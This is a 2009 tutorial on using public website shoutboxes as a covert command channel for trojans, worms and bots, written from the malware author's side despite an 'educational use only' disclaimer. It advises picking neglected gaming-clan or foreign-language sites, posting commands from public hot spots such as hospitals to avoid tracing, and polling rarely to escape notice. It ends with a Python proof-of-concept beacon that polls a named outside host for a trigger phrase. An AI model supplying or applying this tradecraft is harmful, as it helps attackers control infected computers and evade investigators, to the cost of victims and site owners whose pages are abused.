# Using „ShoutBoxes“ to control malicious software

written by Feathers McGraw © 2009,April

## Contents



### About this document

At first please excuse my bad english, its not my native language, but I am working on it.

This document shows how to use so called “ShoutBoxes” to control a trojan, worm, bot or any other form of malicious software. This document shows  a proof of concept and no real life situations or “hacks”.This Document shows not how to “hack” or how to write malicious software. The author is not responsible for any illegal actions other people may do with the information given in this document. This document is for educational use only!

If you like/not like this document mail your suggestions to:

<boeserpingu>.at.<googlemail>.dot.<com>

## The problem of controlling malicious software

One of the key problems when writing malicious software, which is intend to do an actions after it receives a command is how to get the command to the trojan, bot or whatever. A bind shell is not possible, because the target could be a private computer behind a router, a reverse shell is also not a good idea, it could be traced back to you and if you have more then 10 infected systems its really hard to handle them all. In general nobody would use a bind/reverse shell if its not really needed and in our case we only want to give on command but to all at nearly the same time. The solution is one of the most useless inventions on the web: the “ShoutBox”.

## What is a “ShoutBox”

en.wikipedia.org about shoutboxes:

“A **shoutbox**, **saybox**, **tagboard**, or **chatterbox** is a chat-like feature of some websites that allows people to quickly leave messages on the website, generally without any form of user registration.“

in short:

- no login required
- everybody can post

## How to control the software with a “ShoutBox”

If the malicious software has infected the system, it waits for an connection to get new commands or load extra content. The other way is, that the software connects to a server and loads the content or the commands alone. The wait-for-a-connection-way is not possible in the most cases → bind shell. And the connect-back-way is not good, because it can be easily traced back to you.

If you want to let them connect to a server somewhere on the internet, you must be able to manipulate the content on the system. It must be your server or an hacked server, if you want to be able to manipulate. Both ways can be and will be traced back to you if the software was just malicious enough and caught attention.

Here the “ShoutBox” takes place. By posting in a “ShoutBox” you manipulate the content in a more or less persistent way. Your software just needs to connect to the server on port 80 and sends an GET-request like “GET http://<host-here>/ HTTP/1.0\r\n\r\n”. After fetching the result your software looks for an key phrase in the site content. No need of parsing the HTML-tags or filtering them. The phrase must be something, what would normally never appear on the site, like “~~~com~~~” or “.:.:T3sT:.:.”. Phrases like “this is a wasted shout” or “hi” could be posted by someone else and start your routines to early. To avoid problems with the posts of other people look for “ShoutBoxes” on sites with other languages like Chinese or Russian and post in your native language.

If you post the command in the “ShoutBox” using an hot spot in a restaurant or an hospital or any other anonymous way, its very hard or even impossible to trace back the command. The trace back of the malicious software is still possible

## What are the advantages of “ShoutBoxes”

“OK, why not using a forum?” you may ask. A forum in general needs someone who logs in to post and often also someone who logs in to read, so anonymity is not given. The next problem with forums is, that there are always people reading the posts and answer them. Nobody really reads the “ShoutBoxes”. Your next question could be: “Why not using IRC-channels?”. Again it must be your server or a server of any IRC-provider. The providers often save the conversation logs and if all the infected computers would connect to YOUR system/IRC-channel even the dumbest investigator

knows what happened.

The fact, that “ShoutBoxes” are not used very often is extremely useful for us. Many people configure a “ShoutBox” on there system, post some senseless things, are happy and never touch them again or very seldom. Your software can not look for a new command every 10 minutes, because the traffic and user-counters would indicate something strange. If your software just looks for commands 2 or 3 times a day you will be fine, because of the low post rate in the “ShoutBoxes”.

You can find “ShoutBoxes” everywhere on the web. I prefer to use gaming-clan-sites, they are equipped with every trash found on the web, often very unprofessional designed and not well frequented. The kids (I know some of the kids are older than 30) are not skilled enough to interpret any suspicious growth of traffic or even be glad , because the counter indicates more clicks.

Nearly all posts in “ShoutBoxes” are senseless, so nobody will see the difference between a real dump post or an dump looking command.

“ShoutBoxes” are often designed very simple, so many of them not even log IPs or dates.

Some of them use CAPTCHAs to prevent a flood of spam. Thats good for us: low post rate and no spam means nearly persistent posts.

## Proof of concept

Here is a python script, which shows the basics of the check routine.

```
#################################################################################
import socket
import time

def look_for_command():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("www.fhf-2k4.de",80))
   s.send("GET http://www.********.de/ HTTP/1.0\r\n\r\n")
   data = ""
   while (1==1):
      snippet = s.recv(512)
      if not snippet:
         break
      else:
         data = data + snippet
   if not data.find("~~T3sT~~") ==-1:
      return 1
   else:
      return 0

while 1==1:
   if look_for_command() == 0:
      print "no command! sleeping....."
   else:
      print "found command! lets rock!"
      break
   time.sleep(30)
#################################################################################
```

This script connects to an host on port 80 and receives  the site content. Then the site content is tested to contain the phrase “~~T3sT~~”. If this is not given the script starts again any 30 seconds.